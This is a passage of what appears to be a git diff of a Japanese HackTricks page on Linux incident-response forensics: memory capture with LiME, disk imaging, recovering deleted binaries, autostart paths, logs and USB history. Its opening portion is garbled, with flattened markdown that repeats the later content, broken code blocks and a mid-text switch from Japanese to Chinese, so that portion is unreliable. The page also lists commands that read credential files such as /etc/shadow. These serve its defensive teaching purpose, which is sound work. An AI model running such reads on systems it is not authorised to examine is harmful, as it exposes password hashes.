を調べてください。異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調べてください。一部のアプリケーションは独自のログを生成することがあります:SSH:**_**\~/.ssh/authorized\_keys**_** および **_**\~/.ssh/known\_hosts**_** を調べて、許可されていないリモート接続を見つけます。Gnomeデスクトップ:Gnomeアプリケーションを介して最近アクセスされたファイルを示す **_**\~/.recently-used.xbel**_** を調べてください。Firefox/Chrome:怪しい活動を示すために、**_**\~/.mozilla/firefox**_** または **_**\~/.config/google-chrome**_** でブラウザの履歴とダウンロードをチェックしてください。VIM:アクセスされたファイルパスや検索履歴などの使用詳細を示す **_**\~/.viminfo**_** を確認してください。Open Office:侵害されたファイルを示す可能性のある最近のドキュメントアクセスをチェックしてください。FTP/SFTP:許可されていないファイル転送を示す **_**\~/.ftp\_history**_** または **_**\~/.sftp\_history**_** のログを確認してください。MySQL:実行されたMySQLクエリを示す **_**\~/.mysql\_history**_** を調査して、許可されていないデータベースアクティビティを明らかにすることができます。Less:表示されたファイルや実行されたコマンドなどの使用履歴を分析する **_**\~/.lesshst**_** を確認してください。Git:リポジトリへの変更を示す **_**\~/.gitconfig**_** およびプロジェクト **_**.git/logs**_** を調べてください。USBログ**[**usbrip**](https://github.com/snovvcrash/usbrip) **は、Linuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成する、Python 3で書かれた小さなソフトウェアです。使用されたすべてのUSBデバイスを把握することは重要であり、許可されたUSBデバイスのリストを持っていると、そのリストに含まれていないUSBデバイスの使用を見つけるのに役立ちます。インストール**pip3 install usbripusbrip ids download #Download USB ID database**例**usbrip events history #Get USB history of your curent linux machineusbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user#Search for vid and/or pidusbrip ids download #Downlaod databaseusbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid**更多示例和信息请查看github:** [**https://github.com/snovvcrash/usbrip**](https://github.com/snovvcrash/usbrip)**使用**[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) **可轻松构建和自动化工作流程,使用全球最先进的社区工具。**\ -**立即获取访问权限:检查用户帐户和登录活动检查 **_**/etc/passwd**_**、**_**/etc/shadow**_** 和安全日志,查找异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。**\ -**此外,检查文件如 **_**/etc/sudoers**_** 和 **_**/etc/groups**_**,查看是否给用户授予了意外的特权。**\ -**最后,查找没有密码或易于猜测密码的帐户。检查文件系统在恶意软件调查中分析文件系统结构在调查恶意软件事件时,文件系统的结构是信息的重要来源,可以揭示事件序列和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍此分析,例如修改文件时间戳或避免使用文件系统进行数据存储。为了对抗这些反取证方法,重要的是:使用工具如Autopsy进行彻底的时间线分析,可视化事件时间线,或使用Sleuth Kit的`mactime`获取详细的时间线数据。检查系统的$PATH中的意外脚本,可能包括攻击者使用的shell或PHP脚本。检查`/dev`中的非典型文件,通常包含特殊文件,但可能包含与恶意软件相关的文件。搜索具有像".. "(点 点 空格)或"..^G"(点 点 控制-G)等名称的隐藏文件或目录,可能隐藏恶意内容。使用命令查找具有root权限的setuid文件: `find / -user root -perm -04000 -print`,这会找到具有提升权限的文件,可能会被攻击者滥用。检查inode表中的删除时间戳,以发现大量文件删除,可能表明存在rootkit或特洛伊木马。在识别一个恶意文件后,检查相邻的inode,因为它们可能被放在一起。检查常见的二进制目录(**_**/bin**_**、**_**/sbin**_**)中最近修改的文件,因为这些文件可能被恶意软件更改。**# List recent files in a directory:ls -laR --sort=time /bin\`\`\`# Sort files in a directory by inode:ls -lai /bin | sort -n\`\`\`**攻撃者は時間を変更してファイルを正規に見せることができますが、inodeを変更することはできません。同じフォルダ内の他のファイルと同じ時間に作成および変更されたことを示すファイルが見つかった場合、inodeが予期しないほど大きい場合、そのファイルのタイムスタンプが変更されたことになります。異なるファイルシステムバージョンのファイルを比較ファイルシステムバージョン比較の要約ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します:新しいファイルを見つけるには、2つのディレクトリを比較します:**git diff --no-index --diff-filter=A path/to/old\_version/ path/to/new\_version/**変更されたコンテンツについては、特定の行を無視して変更点をリストアップします。**git diff --no-index --diff-filter=M path/to/old\_version/ path/to/new\_version/ | grep -E "^\\+" | grep -v "Installed-Time"**削除されたファイルを検出するために:**git diff --no-index --diff-filter=D path/to/old\_version/ path/to/new\_version/**フィルターオプション (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更を絞り込むのに役立ちます。`A`: 追加されたファイル`C`: コピーされたファイル`D`: 削除されたファイル`M`: 変更されたファイル`R`: 名前が変更されたファイル`T`: タイプの変更(例:ファイルからシンボリックリンクへ)`U`: マージされていないファイル`X`: 不明なファイル`B`: 破損したファイル参考文献**[**https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf**](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)[**https://www.plesk.com/blog/featured/linux-logs-explained/**](https://www.plesk.com/blog/featured/linux-logs-explained/)[**https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203**](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)**書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。**\ -**今すぐアクセスしてください:** +## 初期情報収集 + +### 基本情報 + +まず最初に、**USB**に**良く知られたバイナリとライブラリ**が含まれていることが推奨されます(単にUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および _/lib64_のフォルダをコピーできます)。その後、USBをマウントし、環境変数を変更してこれらのバイナリを使用します: +```bash +export PATH=/mnt/usb/bin:/mnt/usb/sbin +export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 +``` +一度システムを良いものや既知のバイナリを使用するように設定したら、**基本情報の抽出**を開始できます: +```bash +date #Date and time (Clock may be skewed, Might be at a different timezone) +uname -a #OS info +ifconfig -a || ip a #Network interfaces (promiscuous mode?) +ps -ef #Running processes +netstat -anp #Proccess and ports +lsof -V #Open files +netstat -rn; route #Routing table +df; mount #Free space and mounted devices +free #Meam and swap space +w #Who is connected +last -Faiwx #Logins +lsmod #What is loaded +cat /etc/passwd #Unexpected data? +cat /etc/shadow #Unexpected data? +find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory +``` +#### 疑わしい情報 + +基本情報を取得する際に、次のような奇妙な点をチェックする必要があります: + +- **Rootプロセス** は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです +- `/etc/passwd` 内にシェルを持たないユーザーの**登録済みログイン** を確認する +- `/etc/shadow` 内にシェルを持たないユーザーの**パスワードハッシュ** を確認する + +### メモリーダンプ + +実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME) を使用することをお勧めします。\ +**コンパイル** するには、被害者マシンが使用している**同じカーネル** を使用する必要があります。 + +{% hint style="info" %} +被害者マシンに **LiME やその他の何かをインストールすることはできない** ため、それに多くの変更を加えてしまいます +{% endhint %} + +したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます\ +それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME) をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー** を取得するには、単にディレクトリ `/lib/modules/` をあなたのマシンにコピーし、それを使用して LiME を**コンパイル** します: +```bash +make -C /lib/modules//build M=$PWD +sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" +``` +LiMEは3つの**フォーマット**をサポートしています: + +* Raw(すべてのセグメントが連結されたもの) +* Padded(Rawと同じですが、右ビットにゼロが入っています) +* Lime(メタデータ付きの推奨フォーマット) + +LiMEはまた、`path=tcp:4444`のような方法を使用して、**ダンプをネットワーク経由で送信**するためにも使用できます。 + +### ディスクイメージング + +#### シャットダウン + +まず第一に、**システムをシャットダウンする必要があります**。これは常に選択肢というわけではありません。ときには、システムが企業がシャットダウンする余裕のない本番サーバーであることがあります。\ +システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。最初の方法は、**プロセスが通常通り終了**し、**ファイルシステム**が**同期**されることを可能にしますが、**悪意のあるソフトウェア**が**証拠を破壊**する可能性もあります。"プラグを抜く"アプローチは、**いくらかの情報損失**を伴うかもしれません(メモリのイメージをすでに取っているので、失われる情報はほとんどありません)が、**マルウェアはそれについて何もできません**。したがって、**マルウェア**がある可能性がある場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。 + +#### ディスクのイメージを取得する + +**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用でマウント**されることを確認する必要があります。 +```bash +#Create a raw copy of the disk +dd if= of= bs=512 + +#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) +dcfldd if= of= bs=512 hash= hashwindow= hashlog= +dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes +``` +### ディスクイメージの事前分析 + +データがない状態でディスクイメージを作成します。 +```bash +#Find out if it's a disk image using "file" command +file disk.img +disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) + +#Check which type of disk image it's +img_stat -t evidence.img +raw +#You can list supported types with +img_stat -i list +Supported image format types: +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) + +#Data of the image +fsstat -i raw -f ext4 disk.img +FILE SYSTEM INFORMATION +-------------------------------------------- +File System Type: Ext4 +Volume Name: +Volume ID: 162850f203fd75afab4f1e4736a7e776 + +Last Written at: 2020-02-06 06:22:48 (UTC) +Last Checked at: 2020-02-06 06:15:09 (UTC) + +Last Mounted at: 2020-02-06 06:15:18 (UTC) +Unmounted properly +Last mounted on: /mnt/disk0 + +Source OS: Linux +[...] + +#ls inside the image +fls -i raw -f ext4 disk.img +d/d 11: lost+found +d/d 12: Documents +d/d 8193: folder1 +d/d 8194: folder2 +V/V 65537: $OrphanFiles + +#ls inside folder +fls -i raw -f ext4 disk.img 12 +r/r 16: secret.txt + +#cat file inside image +icat -i raw -f ext4 disk.img 16 +ThisisTheMasterSecret +``` +
+ +\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +## 既知のマルウェアを検索 + +### 変更されたシステムファイル + +Linuxには、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。 + +* **RedHatベースのシステム**: 総合的なチェックには `rpm -Va` を使用します。 +* **Debianベースのシステム**: 初期検証には `dpkg --verify` を使用し、その後 `debsums | grep -v "OK$"`(`apt-get install debsums` を使用して `debsums` をインストールした後)を使用して問題を特定します。 + +### マルウェア/ルートキット検出ツール + +マルウェアを見つけるのに役立つツールについて学ぶには、以下のページを参照してください: + +{% content-ref url="malware-analysis.md" %} +[malware-analysis.md](malware-analysis.md) +{% endcontent-ref %} + +## インストールされたプログラムを検索 + +DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。 + +* Debianの場合、パッケージのインストールに関する詳細情報を取得するには、_**`/var/lib/dpkg/status`**_ と _**`/var/log/dpkg.log`**_ を調査し、`grep` を使用して特定の情報をフィルタリングします。 +* RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm` を使用してRPMデータベースをクエリし、インストールされたパッケージをリストアップできます。 + +これらのパッケージマネージャーの外で手動でインストールされたソフトウェアや、それら以外のディレクトリ(_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_)を探索して、既知のパッケージに関連付けられていない実行可能ファイルを特定するために、ディレクトリリストとシステム固有のコマンドを組み合わせて、すべてのインストールされたプログラムを検索を強化してください。 +```bash +# Debian package and log details +cat /var/lib/dpkg/status | grep -E "Package:|Status:" +cat /var/log/dpkg.log | grep installed +# RedHat RPM database query +rpm -qa --root=/mntpath/var/lib/rpm +# Listing directories for manual installations +ls /usr/sbin /usr/bin /bin /sbin +# Identifying non-package executables (Debian) +find /sbin/ -exec dpkg -S {} \; | grep "no path found" +# Identifying non-package executables (RedHat) +find /sbin/ –exec rpm -qf {} \; | grep "is not" +# Find exacuable files +find / -type f -executable | grep +``` +
+ +\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +## 削除された実行中のバイナリの回復 + +/tmp/exec から実行され、その後削除されたプロセスを想像してください。それを抽出することが可能です +```bash +cd /proc/3746/ #PID with the exec file deleted +head -1 maps #Get address of the file. It was 08048000-08049000 +dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it +``` +## Autostart の場所を調査する + +### スケジュールされたタスク +```bash +cat /var/spool/cron/crontabs/* \ +/var/spool/cron/atjobs \ +/var/spool/anacron \ +/etc/cron* \ +/etc/at* \ +/etc/anacrontab \ +/etc/incron.d/* \ +/var/spool/incron/* \ + +#MacOS +ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ +``` +### サービス + +マルウェアがサービスとしてインストールされる可能性のあるパス: + +- **/etc/inittab**:rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。 +- **/etc/rc.d/** および **/etc/rc.boot/**:サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。 +- **/etc/init.d/**:Debianなどの特定のLinuxバージョンで使用され、起動スクリプトを格納します。 +- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** からも起動される可能性があります。 +- **/etc/systemd/system**:システムおよびサービスマネージャースクリプト用のディレクトリ。 +- **/etc/systemd/system/multi-user.target.wants/**:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。 +- **/usr/local/etc/rc.d/**:カスタムまたはサードパーティのサービス用。 +- **\~/.config/autostart/**:ユーザー固有の自動起動アプリケーション用であり、ユーザーを標的としたマルウェアの隠れた場所となる可能性があります。 +- **/lib/systemd/system/**:インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。 + +### カーネルモジュール + +マルウェアによってルートキットコンポーネントとしてよく使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです: + +- **/lib/modules/$(uname -r)**:実行中のカーネルバージョン用のモジュールを保持します。 +- **/etc/modprobe.d**:モジュールのロードを制御する構成ファイルが含まれています。 +- **/etc/modprobe** および **/etc/modprobe.conf**:グローバルモジュール設定用のファイル。 + +### その他の自動起動場所 + +Linuxは、ユーザーログイン時にプログラムを自動的に実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります: + +- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**:すべてのユーザーログイン時に実行されます。 +- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。 +- **/etc/rc.local**:すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。 + +## ログの調査 + +Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります: + +- **/var/log/syslog**(Debian)または **/var/log/messages**(RedHat):システム全体のメッセージとアクティビティをキャプチャします。 +- **/var/log/auth.log**(Debian)または **/var/log/secure**(RedHat):認証試行、成功および失敗したログインを記録します。 +- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。 +- **/var/log/boot.log**:システムの起動メッセージが含まれています。 +- **/var/log/maillog** または **/var/log/mail.log**:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。 +- **/var/log/kern.log**:エラーや警告を含むカーネルメッセージを保存します。 +- **/var/log/dmesg**:デバイスドライバーメッセージを保持します。 +- **/var/log/faillog**:失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。 +- **/var/log/cron**:cronジョブの実行を記録します。 +- **/var/log/daemon.log**:バックグラウンドサービスのアクティビティを追跡します。 +- **/var/log/btmp**:失敗したログイン試行を文書化します。 +- **/var/log/httpd/**:Apache HTTPDのエラーおよびアクセスログが含まれています。 +- **/var/log/mysqld.log** または **/var/log/mysql.log**:MySQLデータベースのアクティビティを記録します。 +- **/var/log/xferlog**:FTPファイル転送を記録します。 +- **/var/log/**:予期しないログがないか常に確認してください。 + +{% hint style="info" %} +Linuxシステムのログと監査サブシステムは、侵害やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の逆転を探すことが重要です。 +{% endhint %} + +**Linuxは各ユーザーのコマンド履歴を維持**しており、以下に保存されています: + +- \~/.bash\_history +- \~/.zsh\_history +- \~/.zsh\_sessions/\* +- \~/.python\_history +- \~/.\*\_history + +さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知のまたは予期しないログインがあるかどうかを確認してください。 + +追加の特権を付与できるファイルを確認してください: + +- 予期しないユーザー特権が付与されている可能性がある場合は、`/etc/sudoers` を確認してください。 +- 予期しないユーザー特権が付与されている可能性がある場合は、`/etc/sudoers.d/` を確認してください。 +- 異常なグループメンバーシップや権限を特定するには、`/etc/groups` を調べてください。 +- 異常なグループメンバーシップや権限を特定するには、`/etc/passwd` を調べてください。 + +一部のアプリケーションは独自のログを生成する場合があります: + +- **SSH**:_\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、不正なリモート接続を確認してください。 +- **Gnomeデスクトップ**:Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べてください。 +- **Firefox/Chrome**:怪しい活動を示すために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認してください。 +- **VIM**:アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認してください。 +- **Open Office**:侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認してください。 +- **FTP/SFTP**:不正なファイル転送を示す _\~/.ftp\_history_ または _\~/.sftp\_history_ のログを調査してください。 +- **MySQL**:実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査して、不正なデータベースアクティビティを明らかにしてください。 +- **Less**:表示されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください。 +- **Git**:リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください。 + +### USBログ + +[**usbrip**](https://github.com/snovvcrash/usbrip) は、USBイベント履歴テーブルを構築するためにLinuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析する、Python 3で書かれた小さなソフトウェアです。 + +**使用されたすべてのUSBデバイスを把握すること** は興味深いことであり、許可されたUSBデバイスのリストを持っていると、そのリストに含まれていないUSBデバイスの使用を見つけるのに役立ちます。 + +### インストール +```bash +pip3 install usbrip +usbrip ids download #Download USB ID database +``` +### 例えば +```bash +usbrip events history #Get USB history of your curent linux machine +usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user +#Search for vid and/or pid +usbrip ids download #Downlaod database +usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid +``` +## ユーザーアカウントとログオンアクティビティのレビュー + +不審な名前やアカウント、または既知の不正イベントに近接して作成または使用されたアカウントを確認するために、_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、可能なsudoブルートフォース攻撃をチェックします。\ +さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルをチェックします。\ +最後に、**パスワードのないアカウント**や**簡単に推測できるパスワード**を持つアカウントを探します。 + +## ファイルシステムの調査 + +### マルウェア調査におけるファイルシステム構造の分析 + +マルウェアインシデントを調査する際、ファイルシステムの構造は情報の重要な源であり、イベントの順序とマルウェアの内容を明らかにします。ただし、マルウェアの作者は、ファイルのタイムスタンプを変更したり、データ保存のためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。 + +これらのアンチフォレンジック手法に対抗するためには、次のことが重要です: + +* **Autopsy**などのツールを使用して**詳細なタイムラインデータ**を取得するために**Sleuth Kit**の`mactime`を使用して**徹底的なタイムライン分析**を実施します。 +* 攻撃者が使用するシェルやPHPスクリプトを含む、システムの$PATHに**予期しないスクリプト**を調査します。 +* 通常は特殊ファイルを含むはずの**/dev**を**非典型的なファイル**を探しますが、マルウェア関連のファイルが格納されている可能性があります。 +* ".. "(ドットドットスペース)や"..^G"(ドットドットコントロール-G)などの名前の**隠しファイルやディレクトリ**を検索します。これには悪意のあるコンテンツが隠されている可能性があります。 +* `find / -user root -perm -04000 -print`コマンドを使用して、**setuid rootファイル**を特定します。これにより、攻撃者に悪用される可能性のある権限の昇格ファイルが見つかります。 +* inodeテーブル内の**削除タイムスタンプ**を確認して、ルートキットやトロイの存在を示す可能性のある大量のファイル削除を検出します。 +* 1つを特定した後、隣接する悪意のあるファイルを見つけるために**連続したinode**を調査します。 +* 最近変更されたファイルを含む**一般的なバイナリディレクトリ**(_/bin_、_/sbin_)をチェックします。これらはマルウェアによって変更されている可能性があります。 +````bash +# List recent files in a directory: +ls -laR --sort=time /bin``` + +# Sort files in a directory by inode: +ls -lai /bin | sort -n``` +```` +{% hint style="info" %} +**攻撃者**が**ファイルを見せかける**ために**時間を変更**できることに注意してくださいが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じ時間に作成および変更されたと示す**ファイル**が見つかった場合、**inode**が予期せず大きい場合、その**ファイルのタイムスタンプが変更された**ことになります。 +{% endhint %} + +## 異なるファイルシステムバージョンのファイルを比較する + +### ファイルシステムバージョン比較の要約 + +変更点を特定するためにファイルシステムバージョンを比較するには、簡略化された`git diff`コマンドを使用します: + +* **新しいファイルを見つける**には、2つのディレクトリを比較します: +```bash +git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ +``` +* **変更されたコンテンツ**については、特定の行を無視して変更点をリストアップします。 +```bash +git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" +``` +* **削除されたファイルを検出するために**: +```bash +git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ +``` +* **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更を絞り込むのに役立ちます。 +* `A`: 追加されたファイル +* `C`: コピーされたファイル +* `D`: 削除されたファイル +* `M`: 変更されたファイル +* `R`: 名前が変更されたファイル +* `T`: タイプの変更 (例: ファイルからシンボリックリンクへ) +* `U`: マージされていないファイル +* `X`: 不明なファイル +* `B`: 破損したファイル + +## 参考文献 + +* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) +* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) +* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) +* **書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** + +
+ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)! + +**サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセス**したいですか、または HackTricks を **PDF でダウンロード**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! + +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを入手 +* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる +* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**してください。 + +**ハッキングトリックを共有するには、** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出してください。** + +
+ +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** できます。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index ad2d84c09..93469e80a 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -2,48 +2,68 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。 +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
-[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 +[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %} ## 開始 -pcap内で**マルウェア**を検索を開始します。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用します。 +pcap内の**マルウェア**を検索してください。[**マルウェア解析**](../malware-analysis.md)で言及されている**ツール**を使用してください。 -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) +## [Volatility](volatility-cheatsheet.md) 